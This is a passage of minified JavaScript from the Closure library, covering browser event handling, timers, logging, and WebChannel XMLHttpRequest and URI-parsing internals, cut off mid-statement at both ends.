s=n[o]||"",a=r[o]||"";do{if(s=/(\d*)(\D*)(.*)/.exec(s)||["","","",""],a=/(\d*)(\D*)(.*)/.exec(a)||["","","",""],0==s[0].length&&0==a[0].length)break;e=G(0==s[1].length?0:parseInt(s[1],10),0==a[1].length?0:parseInt(a[1],10))||G(0==s[2].length,0==a[2].length)||G(s[2],a[2]),s=s[3],a=a[3]}while(0==e)}return 0<=e})}var vt=d.document;mt=vt&&st?lt()||("CSS1Compat"==vt.compatMode?parseInt(rt,10):5):void 0;var bt=Object.freeze||function(t){return t},wt=!st||9<=Number(mt),Tt=st&&!gt("9"),St=function(){if(!d.addEventListener||!Object.defineProperty)return!1;var t=!1,e=Object.defineProperty({},"passive",{get:function(){t=!0}});try{d.addEventListener("test",y,e),d.removeEventListener("test",y,e)}catch(t){}return t}();function Et(t,e){this.type=t,this.currentTarget=this.target=e,this.defaultPrevented=this.Ea=!1,this.Be=!0}function It(t,e){Et.call(this,t?t.type:""),this.relatedTarget=this.currentTarget=this.target=null,this.button=this.screenY=this.screenX=this.clientY=this.clientX=this.offsetY=this.offsetX=0,this.key="",this.charCode=this.keyCode=0,this.metaKey=this.shiftKey=this.altKey=this.ctrlKey=!1,this.state=null,this.pointerId=0,this.pointerType="",this.fb=null,t&&this.Kf(t,e)}Et.prototype.stopPropagation=function(){this.Ea=!0},Et.prototype.preventDefault=function(){this.defaultPrevented=!0,this.Be=!1},k(It,Et);var Ct=bt({2:"touch",3:"pen",4:"mouse"});It.prototype.Kf=function(t,e){var n=this.type=t.type,r=t.changedTouches?t.changedTouches[0]:null;if(this.target=t.target||t.srcElement,this.currentTarget=e,e=t.relatedTarget){if(ct){t:{try{nt(e.nodeName);var i=!0;break t}catch(t){}i=!1}i||(e=null)}}else"mouseover"==n?e=t.fromElement:"mouseout"==n&&(e=t.toElement);this.relatedTarget=e,null===r?(this.offsetX=ht||void 0!==t.offsetX?t.offsetX:t.layerX,this.offsetY=ht||void 0!==t.offsetY?t.offsetY:t.layerY,this.clientX=void 0!==t.clientX?t.clientX:t.pageX,this.clientY=void 0!==t.clientY?t.clientY:t.pageY,this.screenX=t.screenX||0,this.screenY=t.screenY||0):(this.clientX=void 0!==r.clientX?r.clientX:r.pageX,this.clientY=void 0!==r.clientY?r.clientY:r.pageY,this.screenX=r.screenX||0,this.screenY=r.screenY||0),this.button=t.button,this.keyCode=t.keyCode||0,this.key=t.key||"",this.charCode=t.charCode||("keypress"==n?t.keyCode:0),this.ctrlKey=t.ctrlKey,this.altKey=t.altKey,this.shiftKey=t.shiftKey,this.metaKey=t.metaKey,this.pointerId=t.pointerId||0,this.pointerType=p(t.pointerType)?t.pointerType:Ct[t.pointerType]||"",this.state=t.state,this.fb=t,t.defaultPrevented&&this.preventDefault()},It.prototype.stopPropagation=function(){It.L.stopPropagation.call(this),this.fb.stopPropagation?this.fb.stopPropagation():this.fb.cancelBubble=!0},It.prototype.preventDefault=function(){It.L.preventDefault.call(this);var t=this.fb;if(t.preventDefault)t.preventDefault();else if(t.returnValue=!1,Tt)try{(t.ctrlKey||112<=t.keyCode&&123>=t.keyCode)&&(t.keyCode=-1)}catch(t){}};var Dt="closure_listenable_"+(1e6*Math.random()|0);function Nt(t){return!(!t||!t[Dt])}var At=0;function kt(t,e,n,r,i){this.listener=t,this.proxy=null,this.src=e,this.type=n,this.capture=!!r,this.Ob=i,this.key=++At,this.Sa=this.Eb=!1}function Rt(t){this.src=t,this.J={},this.xb=0}function Mt(t,e,n,r){for(var i=0;i<t.length;++i){var o=t[i];if(!o.Sa&&o.listener==e&&o.capture==!!n&&o.Ob==r)return i}return-1}kt.prototype.Vb=function(){this.Sa=!0,this.Ob=this.src=this.proxy=this.listener=null},(h=Rt.prototype).add=function(t,e,n,r,i){var o=t.toString();(t=this.J[o])||(t=this.J[o]=[],this.xb++);var s=Mt(t,e,r,i);return-1<s?(e=t[s],n||(e.Eb=!1)):((e=new kt(e,this.src,o,!!r,i)).Eb=n,t.push(e)),e},h.remove=function(t,e,n,r){if(!((t=t.toString())in this.J))return!1;var i=this.J[t];return-1<(e=Mt(i,e,n,r))&&(i[e].Vb(),Array.prototype.splice.call(i,e,1),0==i.length&&(delete this.J[t],this.xb--),!0)},h.ye=function(t){var e=t.type;e in this.J&&B(this.J[e],t)&&(t.Vb(),0==this.J[e].length&&(delete this.J[e],this.xb--))},h.pb=function(t){var e;for(e in t=t&&t.toString(),this.J)if(!t||e==t){for(var n=this.J[e],r=0;r<n.length;r++)n[r].Vb();delete this.J[e],this.xb--}},h.jb=function(t,e,n,r){var i=-1;return(t=this.J[t.toString()])&&(i=Mt(t,e,n,r)),-1<i?t[i]:null};var Ot="closure_lm_"+(1e6*Math.random()|0),Pt={};function _t(t,e,n,r,i){if(r&&r.once)return xt(t,e,n,r,i);if(v(e)){for(var o=0;o<e.length;o++)_t(t,e[o],n,r,i);return null}return n=Wt(n),Nt(t)?t.nb(e,n,T(r)?!!r.capture:!!r,i):Lt(t,e,n,!1,r,i)}function Lt(t,e,n,r,i,o){if(!e)throw Error("Invalid event type");var s=T(i)?!!i.capture:!!i,a=Qt(t);if(a||(t[Ot]=a=new Rt(t)),(n=a.add(e,n,r,s,o)).proxy)return n;if(r=function(){var t=Ut,e=wt?function(n){return t.call(e.src,e.listener,n)}:function(n){if(!(n=t.call(e.src,e.listener,n)))return n};return e}(),n.proxy=r,r.src=t,r.listener=n,t.addEventListener)St||(i=s),void 0===i&&(i=!1),t.addEventListener(e.toString(),r,i);else if(t.attachEvent)t.attachEvent(Ft(e.toString()),r);else{if(!t.addListener||!t.removeListener)throw Error("addEventListener and attachEvent are unavailable.");t.addListener(r)}return n}function xt(t,e,n,r,i){if(v(e)){for(var o=0;o<e.length;o++)xt(t,e[o],n,r,i);return null}return n=Wt(n),Nt(t)?t.Oc(e,n,T(r)?!!r.capture:!!r,i):Lt(t,e,n,!0,r,i)}function qt(t){if("number"!=typeof t&&t&&!t.Sa){var e=t.src;if(Nt(e))e.Le(t);else{var n=t.type,r=t.proxy;e.removeEventListener?e.removeEventListener(n,r,t.capture):e.detachEvent?e.detachEvent(Ft(n),r):e.addListener&&e.removeListener&&e.removeListener(r),(n=Qt(e))?(n.ye(t),0==n.xb&&(n.src=null,e[Ot]=null)):t.Vb()}}}function Ft(t){return t in Pt?Pt[t]:Pt[t]="on"+t}function Vt(t,e,n,r){var i=!0;if((t=Qt(t))&&(e=t.J[e.toString()]))for(e=e.concat(),t=0;t<e.length;t++){var o=e[t];o&&o.capture==n&&!o.Sa&&(o=Bt(o,r),i=i&&!1!==o)}return i}function Bt(t,e){var n=t.listener,r=t.Ob||t.src;return t.Eb&&qt(t),n.call(r,e)}function Ut(t,e){if(t.Sa)return!0;if(!wt){var n=e||m("window.event");e=new It(n,this);var r=!0;if(!(0>n.keyCode||void 0!=n.returnValue)){t:{var i=!1;if(0==n.keyCode)try{n.keyCode=-1;break t}catch(t){i=!0}(i||void 0==n.returnValue)&&(n.returnValue=!0)}for(n=[],i=e.currentTarget;i;i=i.parentNode)n.push(i);for(t=t.type,i=n.length-1;!e.Ea&&0<=i;i--){e.currentTarget=n[i];var o=Vt(n[i],t,!0,e);r=r&&o}for(i=0;!e.Ea&&i<n.length;i++)e.currentTarget=n[i],o=Vt(n[i],t,!1,e),r=r&&o}return r}return Bt(t,new It(e,this))}function Qt(t){return(t=t[Ot])instanceof Rt?t:null}var Kt="__closure_events_fn_"+(1e9*Math.random()>>>0);function Wt(t){return w(t)?t:(t[Kt]||(t[Kt]=function(e){return t.handleEvent(e)}),t[Kt])}function jt(){O.call(this),this.ka=new Rt(this),this.Pe=this,this.Uc=null}k(jt,O),jt.prototype[Dt]=!0,(h=jt.prototype).addEventListener=function(t,e,n,r){_t(this,t,e,n,r)},h.removeEventListener=function(t,e,n,r){!function t(e,n,r,i,o){if(v(n))for(var s=0;s<n.length;s++)t(e,n[s],r,i,o);else i=T(i)?!!i.capture:!!i,r=Wt(r),Nt(e)?e.ed(n,r,i,o):e&&(e=Qt(e))&&(n=e.jb(n,r,i,o))&&qt(n)}(this,t,e,n,r)},h.dispatchEvent=function(t){var e,n=this.Uc;if(n)for(e=[];n;n=n.Uc)e.push(n);n=this.Pe;var r=t.type||t;if(p(t))t=new Et(t,n);else if(t instanceof Et)t.target=t.target||n;else{var i=t;et(t=new Et(r,n),i)}if(i=!0,e)for(var o=e.length-1;!t.Ea&&0<=o;o--){var s=t.currentTarget=e[o];i=s.Lb(r,!0,t)&&i}if(t.Ea||(i=(s=t.currentTarget=n).Lb(r,!0,t)&&i,t.Ea||(i=s.Lb(r,!1,t)&&i)),e)for(o=0;!t.Ea&&o<e.length;o++)i=(s=t.currentTarget=e[o]).Lb(r,!1,t)&&i;return i},h.F=function(){jt.L.F.call(this),this.pg(),this.Uc=null},h.nb=function(t,e,n,r){return this.ka.add(String(t),e,!1,n,r)},h.Oc=function(t,e,n,r){return this.ka.add(String(t),e,!0,n,r)},h.ed=function(t,e,n,r){this.ka.remove(String(t),e,n,r)},h.Le=function(t){this.ka.ye(t)},h.pg=function(){this.ka&&this.ka.pb(void 0)},h.Lb=function(t,e,n){if(!(t=this.ka.J[String(t)]))return!0;t=t.concat();for(var r=!0,i=0;i<t.length;++i){var o=t[i];if(o&&!o.Sa&&o.capture==e){var s=o.listener,a=o.Ob||o.src;o.Eb&&this.Le(o),r=!1!==s.call(a,n)&&r}}return r&&0!=n.Be},h.jb=function(t,e,n,r){return this.ka.jb(String(t),e,n,r)};var Gt=d.JSON.stringify;function zt(t,e){this.Sf=100,this.ef=t,this.ug=e,this.Zb=0,this.Pb=null}function Ht(){this.lc=this.Va=null}zt.prototype.get=function(){if(0<this.Zb){this.Zb--;var t=this.Pb;this.Pb=t.next,t.next=null}else t=this.ef();return t},zt.prototype.put=function(t){this.ug(t),this.Zb<this.Sf&&(this.Zb++,t.next=this.Pb,this.Pb=t)};var Xt,Yt,Jt=new zt(function(){return new $t},function(t){t.reset()});function $t(){this.next=this.scope=this.Gc=null}function Zt(t){d.setTimeout(function(){throw t},0)}function te(){if(d.Promise&&d.Promise.resolve){var t=d.Promise.resolve(void 0);Yt=function(){t.then(re)}}else Yt=function(){var t=re;!w(d.setImmediate)||d.Window&&d.Window.prototype&&!X("Edge")&&d.Window.prototype.setImmediate==d.setImmediate?(Xt||(Xt=function(){var t=d.MessageChannel;if(void 0===t&&"undefined"!=typeof window&&window.postMessage&&window.addEventListener&&!X("Presto")&&(t=function(){var t=document.createElement("IFRAME");t.style.display="none",t.src="",document.documentElement.appendChild(t);var e=t.contentWindow;(t=e.document).open(),t.write(""),t.close();var n="callImmediate"+Math.random(),r="file:"==e.location.protocol?"*":e.location.protocol+"//"+e.location.host;t=D(function(t){"*"!=r&&t.origin!=r||t.data!=n||this.port1.onmessage()},this),e.addEventListener("message",t,!1),this.port1={},this.port2={postMessage:function(){e.postMessage(n,r)}}}),void 0!==t&&!X("Trident")&&!X("MSIE")){var e=new t,n={},r=n;return e.port1.onmessage=function(){if(void 0!==n.next){var t=(n=n.next).rd;n.rd=null,t()}},function(t){r.next={rd:t},r=r.next,e.port2.postMessage(0)}}return"undefined"!=typeof document&&"onreadystatechange"in document.createElement("SCRIPT")?function(t){var e=document.createElement("SCRIPT");e.onreadystatechange=function(){e.onreadystatechange=null,e.parentNode.removeChild(e),e=null,t(),t=null},document.documentElement.appendChild(e)}:function(t){d.setTimeout(t,0)}}()),Xt(t)):d.setImmediate(t)}}Ht.prototype.add=function(t,e){var n=this.Af();n.set(t,e),this.lc?this.lc.next=n:this.Va=n,this.lc=n},Ht.prototype.remove=function(){var t=null;return this.Va&&(t=this.Va,this.Va=this.Va.next,this.Va||(this.lc=null),t.next=null),t},Ht.prototype.wg=function(t){Jt.put(t)},Ht.prototype.Af=function(){return Jt.get()},$t.prototype.set=function(t,e){this.Gc=t,this.scope=e,this.next=null},$t.prototype.reset=function(){this.next=this.scope=this.Gc=null};var ee=!1,ne=new Ht;function re(){for(var t;t=ne.remove();){try{t.Gc.call(t.scope)}catch(t){Zt(t)}ne.wg(t)}ee=!1}function ie(t,e){jt.call(this),this.Na=t||1,this.wb=e||d,this.nd=D(this.Rg,this),this.ie=A()}function oe(t,e,n){if(w(t))n&&(t=D(t,n));else{if(!t||"function"!=typeof t.handleEvent)throw Error("Invalid listener argument");t=D(t.handleEvent,t)}return 2147483647<Number(e)?-1:d.setTimeout(t,e||0)}function se(t,e,n){O.call(this),this.Uf=null!=n?D(t,n):t,this.Na=e,this.Xe=D(this.fg,this),this.qc=[]}function ae(t){O.call(this),this.i=t,this.o={}}k(ie,jt),(h=ie.prototype).enabled=!1,h.B=null,h.setInterval=function(t){this.Na=t,this.B&&this.enabled?(this.stop(),this.start()):this.B&&this.stop()},h.Rg=function(){if(this.enabled){var t=A()-this.ie;0<t&&t<.8*this.Na?this.B=this.wb.setTimeout(this.nd,this.Na-t):(this.B&&(this.wb.clearTimeout(this.B),this.B=null),this.ff(),this.enabled&&(this.stop(),this.start()))}},h.ff=function(){this.dispatchEvent("tick")},h.start=function(){this.enabled=!0,this.B||(this.B=this.wb.setTimeout(this.nd,this.Na),this.ie=A())},h.stop=function(){this.enabled=!1,this.B&&(this.wb.clearTimeout(this.B),this.B=null)},h.F=function(){ie.L.F.call(this),this.stop(),delete this.wb},k(se,O),(h=se.prototype).Ta=!1,h.ob=0,h.B=null,h.mf=function(t){this.qc=arguments,this.B||this.ob?this.Ta=!0:this.Cc()},h.stop=function(){this.B&&(d.clearTimeout(this.B),this.B=null,this.Ta=!1,this.qc=[])},h.pause=function(){this.ob++},h.resume=function(){this.ob--,this.ob||!this.Ta||this.B||(this.Ta=!1,this.Cc())},h.F=function(){se.L.F.call(this),this.stop()},h.fg=function(){this.B=null,this.Ta&&!this.ob&&(this.Ta=!1,this.Cc())},h.Cc=function(){this.B=oe(this.Xe,this.Na),this.Uf.apply(null,this.qc)},k(ae,O);var ue=[];function ce(t,e,n){this.reset(t,e,n,void 0,void 0)}function he(t){this.pe=t,this.Zd=this.uc=this.mb=this.$b=null}function le(t,e){this.name=t,this.value=e}(h=ae.prototype).nb=function(t,e,n,r){return this.Tf(t,e,n,r)},h.Tf=function(t,e,n,r){v(e)||(e&&(ue[0]=e.toString()),e=ue);for(var i=0;i<e.length;i++){var o=_t(t,e[i],n||this.handleEvent,r||!1,this.i||this);if(!o)break;this.o[o.key]=o}return this},h.Oc=function(t,e,n,r){return this.je(t,e,n,r)},h.je=function(t,e,n,r,i){if(v(e))for(var o=0;o<e.length;o++)this.je(t,e[o],n,r,i);else{if(!(t=xt(t,e,n||this.handleEvent,r,i||this.i||this)))return this;this.o[t.key]=t}return this},h.ed=function(t,e,n,r,i){if(v(e))for(var o=0;o<e.length;o++)this.ed(t,e[o],n,r,i);else n=n||this.handleEvent,r=T(r)?!!r.capture:!!r,i=i||this.i||this,n=Wt(n),r=!!r,(e=Nt(t)?t.jb(e,n,r,i):t&&(t=Qt(t))?t.jb(e,n,r,i):null)&&(qt(e),delete this.o[e.key])},h.pb=function(){Y(this.o,function(t,e){this.o.hasOwnProperty(e)&&qt(t)},this),this.o={}},h.F=function(){ae.L.F.call(this),this.pb()},h.handleEvent=function(){throw Error("EventHandler.handleEvent not implemented")},ce.prototype.Md=null,ce.prototype.reset=function(t,e,n,r,i){this.mb=t,delete this.Md},ce.prototype.Bg=function(t){this.Md=t},ce.prototype.Ge=function(t){this.mb=t},le.prototype.toString=function(){return this.name};var fe=new le("SEVERE",1e3),de=new le("WARNING",900),pe=new le("INFO",800),me=new le("CONFIG",700),ye=new le("FINE",500);(h=he.prototype).getName=function(){return this.pe},h.getParent=function(){return this.$b},h.pf=function(){return this.uc||(this.uc={}),this.uc},h.Ge=function(t){this.mb=t},h.Qd=function(){return this.mb?this.mb:this.$b?this.$b.Qd():(function(t,e){throw new M("Failure"+(t?": "+t:""),Array.prototype.slice.call(arguments,1))}("Root logger has no level set."),null)},h.Pf=function(t){return t.value>=this.Qd().value},h.log=function(t,e,n){this.Pf(t)&&(w(e)&&(e=e()),this.gf(this.uf(t,e,n)))},h.uf=function(t,e,n){return t=new ce(t,String(e),this.pe),n&&t.Bg(n),t},h.ca=function(t,e){this.log(fe,t,e)},h.T=function(t,e){this.log(de,t,e)},h.info=function(t,e){this.log(pe,t,e)},h.lf=function(t){this.log(ye,t,void 0)},h.gf=function(t){for(var e=this;e;)e.We(t),e=e.getParent()},h.We=function(t){if(this.Zd)for(var e,n=0;e=this.Zd[n];n++)e(t)},h.Fg=function(t){this.$b=t},h.Qe=function(t,e){this.pf()[t]=e};var ge={},ve=null;function be(t){var e;if(ve||(ve=new he(""),ge[""]=ve,ve.Ge(me)),!(e=ge[t])){e=new he(t);var n=t.lastIndexOf("."),r=t.substr(n+1);(n=be(t.substr(0,n))).Qe(r,e),e.Fg(n),ge[t]=e}return e}function we(t,e){t&&t.info(e,void 0)}function Te(t,e){t&&t.lf(e)}function Se(){this.s=be("goog.labs.net.webChannel.WebChannelDebug"),this.Wc=!0}(h=Se.prototype).Id=function(){this.Wc=!1},h.Tg=function(t,e,n,r,i){var o=this;this.info(function(){return"XMLHTTP REQ ("+n+") [attempt "+r+"]: "+t+"\n"+e+"\n"+o.Xf(i)})},h.Ug=function(t,e,n,r,i,o){this.info(function(){return"XMLHTTP RESP ("+n+") [ attempt "+r+"]: "+t+"\n"+e+"\n"+i+" "+o})},h.Wa=function(t,e,n){var r=this;this.info(function(){return"XMLHTTP TEXT ("+t+"): "+r.ng(e)+(n?" "+n:"")})},h.Sg=function(t){this.info(function(){return"TIMEOUT: "+t})},h.debug=function(t){Te(this.s,t)},h.cb=function(t,e){var n=this.s;n&&n.ca(e||"Exception",t)},h.info=function(t){we(this.s,t)},h.T=function(t){var e=this.s;e&&e.T(t,void 0)},h.ca=function(t){var e=this.s;e&&e.ca(t,void 0)},h.ng=function(t){if(!this.Wc)return t;if(!t)return null;try{var e=JSON.parse(t);if(e)for(var n=0;n<e.length;n++)v(e[n])&&this.Wf(e[n]);return Gt(e)}catch(e){return this.debug("Exception parsing expected JS array - probably was not JS"),t}},h.Wf=function(t){if(!(2>t.length||(t=t[1],!v(t)||1>t.length))){var e=t[0];if("noop"!=e&&"stop"!=e&&"close"!=e)for(e=1;e<t.length;e++)t[e]=""}},h.Xf=function(t){if(!this.Wc)return t;if(!t)return null;var e="";t=t.split("&");for(var n=0;n<t.length;n++){var r=t[n].split("=");if(1<r.length){var i=r[0];r=r[1];var o=i.split("_");e=2<=o.length&&"type"==o[1]?e+(i+"=")+r+"&":e+(i+"=redacted&")}}return e};var Ee=new jt;function Ie(t){Et.call(this,"serverreachability",t)}function Ce(t){Ee.dispatchEvent(new Ie(Ee,t))}function De(t,e){Et.call(this,"statevent",t),this.stat=e}function Ne(t){Ee.dispatchEvent(new De(Ee,t))}function Ae(t,e,n){Et.call(this,"timingevent",t),this.size=e,this.rtt=n}function ke(t,e){if(!w(t))throw Error("Fn must not be null and must be a function");return d.setTimeout(function(){t()},e)}k(Ie,Et),k(De,Et),k(Ae,Et);var Re={NO_ERROR:0,Vg:1,bh:2,ah:3,Yg:4,$g:5,dh:6,Ne:7,TIMEOUT:8,gh:9},Me={Xg:"complete",kh:"success",Oe:"error",Ne:"abort",ih:"ready",jh:"readystatechange",TIMEOUT:"timeout",eh:"incrementaldata",hh:"progress",Zg:"downloadprogress",lh:"uploadprogress"};function Oe(){}function Pe(){}Oe.prototype.pd=null,Oe.prototype.Vd=function(){return this.pd||(this.pd=this.Mf())};var _e,Le={OPEN:"a",Wg:"b",Oe:"c",fh:"d"};function xe(){Et.call(this,"d")}function qe(){Et.call(this,"c")}function Fe(){}function Ve(t,e,n,r,i){this.b=t,this.a=e,this.ra=n,this.R=r,this.Xc=i||1,this.Fc=new ae(this),this.Ua=Be,t=ut?125:void 0,this.Vc=new ie(t),this.A=null,this.S=!1,this.Da=this.pa=this.ua=this.ic=this.qb=this.hd=this.Ga=null,this.ba=[],this.h=null,this.Bb=0,this.I=this.Fa=null,this.w=-1,this.Za=!1,this.Ra=0,this.ac=null,this.lb=this.Ed=this.yc=!1}k(xe,Et),k(qe,Et),k(Fe,Oe),Fe.prototype.Dd=function(){var t=this.Wd();return t?new ActiveXObject(t):new XMLHttpRequest},Fe.prototype.Mf=function(){var t={};return this.Wd()&&(t[0]=!0,t[1]=!0),t},Fe.prototype.Wd=function(){if(!this.be&&"undefined"==typeof XMLHttpRequest&&"undefined"!=typeof ActiveXObject){for(var t=["MSXML2.XMLHTTP.6.0","MSXML2.XMLHTTP.3.0","MSXML2.XMLHTTP","Microsoft.XMLHTTP"],e=0;e<t.length;e++){var n=t[e];try{return new ActiveXObject(n),this.be=n}catch(t){}}throw Error("Could not create ActiveXObject. ActiveX might be disabled, or MSXML might not be installed")}return this.be},_e=new Fe;var Be=45e3;var Ue={},Qe={};function Ke(t){if(t.H&&"function"==typeof t.H)return t.H();if(p(t))return t.split("");if(b(t)){for(var e=[],n=t.length,r=0;r<n;r++)e.push(t[r]);return e}return J(t)}function We(t,e,n){if(t.forEach&&"function"==typeof t.forEach)t.forEach(e,n);else if(b(t)||p(t))q(t,e,n);else{if(t.W&&"function"==typeof t.W)var r=t.W();else if(t.H&&"function"==typeof t.H)r=void 0;else if(b(t)||p(t)){r=[];for(var i=t.length,o=0;o<i;o++)r.push(o)}else r=$(t);o=(i=Ke(t)).length;for(var s=0;s<o;s++)e.call(n,i[s],r&&r[s],t)}}function je(t,e){this.D={},this.o=[],this.j=0;var n=arguments.length;if(1<n){if(n%2)throw Error("Uneven number of arguments");for(var r=0;r<n;r+=2)this.set(arguments[r],arguments[r+1])}else t&&this.addAll(t)}function Ge(t,e){return Object.prototype.hasOwnProperty.call(t,e)}(h=Ve.prototype).ga=function(t){this.A=t},h.setTimeout=function(t){this.Ua=t},h.He=function(t){this.Ra=t},h.Gg=function(t){this.ba=t},h.la=function(){return this.ba},h.kd=function(t,e){this.ic=1,this.ua=t.clone().Ub(),this.Da=e,this.yc=!0,this.Ce(null)},h.jd=function(t,e,n){this.ic=1,this.ua=t.clone().Ub(),this.Da=null,this.yc=e,this.Ce(n)},h.Ce=function(t){this.qb=A(),this.eb(),this.pa=this.ua.clone(),this.pa.dc("t",this.Xc),this.Bb=0,this.h=this.b.Jb(this.b.fc()?t:null),0<this.Ra&&(this.ac=new se(D(this.Me,this,this.h),this.Ra)),this.Fc.nb(this.h,"readystatechange",this.mg),t=this.A?Z(this.A):{},this.Da?(this.Fa||(this.Fa="POST"),t["Content-Type"]="application/x-www-form-urlencoded",this.h.send(this.pa,this.Fa,this.Da,t)):(this.Fa="GET",this.h.send(this.pa,this.Fa,null,t)),Ce(1),this.a.Tg(this.Fa,this.pa,this.R,this.Xc,this.Da)},h.mg=function(t){t=t.target;var e=this.ac;e&&3==t.ma()?(this.a.debug("Throttling readystatechange."),e.mf()):this.Me(t)},h.Me=function(t){try{t==this.h?this.hg():this.a.T("Called back with an unexpected xmlhttp")}catch(t){if(this.a.debug("Failed call to OnXmlHttpReadyStateChanged_"),this.h&&this.h.ya()){var e=this;this.a.cb(t,function(){return"ResponseText: "+e.h.ya()})}else this.a.cb(t,"No response text")}},h.hg=function(){var t=this.h.ma(),e=this.h.Ud(),n=this.h.za();if(!(3>t||3==t&&!ut&&!this.h.ya())){this.Za||4!=t||7==e||Ce(8==e||0>=n?3:2),this.Fb();var r=this.h.za();if(this.w=r,!(e=this.h.ya())){var i=this;this.a.debug(function(){return"No response text for uri "+i.pa+" status "+r})}if(this.S=200==r,this.a.Ug(this.Fa,this.pa,this.R,this.Xc,t,r),this.S){if(this.Ig()){if(!(n=this.sf()))return this.S=!1,this.I=3,Ne(12),this.a.T("XMLHTTP Missing X_HTTP_INITIAL_RESPONSE ("+this.R+")"),this.Ia(),void this.Kb();this.a.Wa(this.R,n,"Initial handshake response via X-HTTP-Initial-Response"),this.lb=!0,this.Yc(n)}this.yc?(this.Fd(t,e),ut&&this.S&&3==t&&this.Ng()):(this.a.Wa(this.R,e,null),this.Yc(e)),4==t&&this.Ia(),this.S&&!this.Za&&(4==t?this.b.Tc(this):(this.S=!1,this.eb()))}else 400==r&&0<e.indexOf("Unknown SID")?(this.I=3,Ne(12),this.a.T("XMLHTTP Unknown SID ("+this.R+")")):(this.I=0,Ne(13),this.a.T("XMLHTTP Bad status "+r+" ("+this.R+")")),this.Ia(),this.Kb()}},h.Ig=function(){return this.Ed&&!this.lb},h.sf=function(){if(this.h){var t=this.h.kb("X-HTTP-Initial-Response");if(t&&!K(t))return t}return null},h.Ag=function(){this.Ed=!0},h.Fd=function(t,e){for(var n=!0;!this.Za&&this.Bb<e.length;){var r=this.vf(e);if(r==Qe){4==t&&(this.I=4,Ne(14),n=!1),this.a.Wa(this.R,null,"[Incomplete Response]");break}if(r==Ue){this.I=4,Ne(15),this.a.Wa(this.R,e,"[Invalid Chunk]"),n=!1;break}this.a.Wa(this.R,r,null),this.Yc(r)}4==t&&0==e.length&&(this.I=1,Ne(16),n=!1),this.S=this.S&&n,n||(this.a.Wa(this.R,e,"[Invalid Chunked Response]"),this.Ia(),this.Kb())},h.kg=function(){if(this.h){var t=this.h.ma(),e=this.h.ya();this.Bb<e.length&&(this.Fb(),this.Fd(t,e),this.S&&4!=t&&this.eb())}},h.Ng=function(){this.Fc.nb(this.Vc,"tick",this.kg),this.Vc.start()},h.vf=function(t){var e=this.Bb,n=t.indexOf("\n",e);return-1==n?Qe:(e=Number(t.substring(e,n)),isNaN(e)?Ue:(n+=1)+e>t.length?Qe:(t=t.substr(n,e),this.Bb=n+e,t))},h.yg=function(t){this.ic=2,this.ua=t.clone().Ub(),t=!1,d.navigator&&d.navigator.sendBeacon&&(t=d.navigator.sendBeacon(this.ua.toString(),"")),!t&&d.Image&&((new Image).src=this.ua,t=!0),t||(this.h=this.b.Jb(null),this.h.send(this.ua)),this.qb=A(),this.eb()},h.cancel=function(){this.Za=!0,this.Ia()},h.tg=function(t){t&&this.setTimeout(t),this.Ga&&(this.Fb(),this.eb())},h.eb=function(){this.hd=A()+this.Ua,this.Ke(this.Ua)},h.Ke=function(t){if(null!=this.Ga)throw Error("WatchDog timer not null");this.Ga=ke(D(this.gg,this),t)},h.Fb=function(){this.Ga&&(d.clearTimeout(this.Ga),this.Ga=null)},h.gg=function(){this.Ga=null;var t=A();0<=t-this.hd?this.Df():(this.a.T("WatchDog timer called too early"),this.Ke(this.hd-t))},h.Df=function(){this.S&&this.a.ca("Received watchdog timeout even though request loaded successfully"),this.a.Sg(this.pa),2!=this.ic&&(Ce(3),Ne(17)),this.Ia(),this.I=2,this.Kb()},h.Kb=function(){this.b.de()||this.Za||this.b.Tc(this)},h.Ia=function(){this.Fb();var t=this.ac;t&&"function"==typeof t.bb&&t.bb(),this.ac=null,this.Vc.stop(),this.Fc.pb(),this.h&&(t=this.h,this.h=null,t.abort(),t.bb())},h.Hc=function(){return this.I},h.Yc=function(t){try{this.b.ue(this,t),Ce(4)}catch(t){this.a.cb(t,"Error in httprequest callback")}},(h=je.prototype).C=function(){return this.j},h.H=function(){this.wc();for(var t=[],e=0;e<this.o.length;e++)t.push(this.D[this.o[e]]);return t},h.W=function(){return this.wc(),this.o.concat()},h.va=function(t){return Ge(this.D,t)},h.X=function(){return 0==this.j},h.clear=function(){this.D={},this.j=this.o.length=0},h.remove=function(t){return!!Ge(this.D,t)&&(delete this.D[t],this.j--,this.o.length>2*this.j&&this.wc(),!0)},h.wc=function(){if(this.j!=this.o.length){for(var t=0,e=0;t<this.o.length;){var n=this.o[t];Ge(this.D,n)&&(this.o[e++]=n),t++}this.o.length=e}if(this.j!=this.o.length){var r={};for(e=t=0;t<this.o.length;)Ge(r,n=this.o[t])||(this.o[e++]=n,r[n]=1),t++;this.o.length=e}},h.get=function(t,e){return Ge(this.D,t)?this.D[t]:e},h.set=function(t,e){Ge(this.D,t)||(this.j++,this.o.push(t)),this.D[t]=e},h.addAll=function(t){if(t instanceof je)for(var e=t.W(),n=0;n<e.length;n++)this.set(e[n],t.get(e[n]));else for(e in t)this.set(e,t[e])},h.forEach=function(t,e){for(var n=this.W(),r=0;r<n.length;r++){var i=n[r],o=this.get(i);t.call(e,o,i,this)}},h.clone=function(){return new je(this)};var ze=/^(?:([^:/?#.]+):)?(?:\/\/(?:([^/?#]*)@)?([^/#?]*?)(?::([0-9]+))?(?=[/#?]|$))?([^?#]+)?(?:\?([^#]*))?(?:#([\s\S]*))?$/;function He(t,e){var n;this.xa=this.zb=this.qa="",this.Ca=null,this.ib=this.K="",this.O=this.Qf=!1,t instanceof He?(this.O=void 0!==e?e:t.O,this.tb(t.qa),this.cd(t.zb),this.rb(t.xa),this.sb(t.Ca),this.ec(t.K),this.bd(t.P.clone()),this.$c(t.ib)):t&&(n=String(t).match(ze))?(this.O=!!e,this.tb(n[1]||"",!0),this.cd(n[2]||"",!0),this.rb(n[3]||"",!0),this.sb(n[4]),this.ec(n[5]||"",!0),this.bd(n[6]||"",!0),this.$c(n[7]||"",!0)):(this.O=!!e,this.P=new rn(null,this.O))}function Xe(t,e){return t?e?decodeURI(t.replace(/%25/g,"%2525")):decodeURIComponent(t):""}function Ye(t,e,n){return p(t)?(t=encodeURI(t).replace(e,Je),n&&(t=t.replace(/%25([0-9a-fA-F]{2})/g,"%$1")),t):null}function Je(t){return"%"+((t=t.charCodeAt(0))>>4&15).toString(16)+(15&t).toString(16)}(h=He.prototype).toString=function(){var t=[],e=this.qa;e&&t.push(Ye(e,$e,!0),":");var 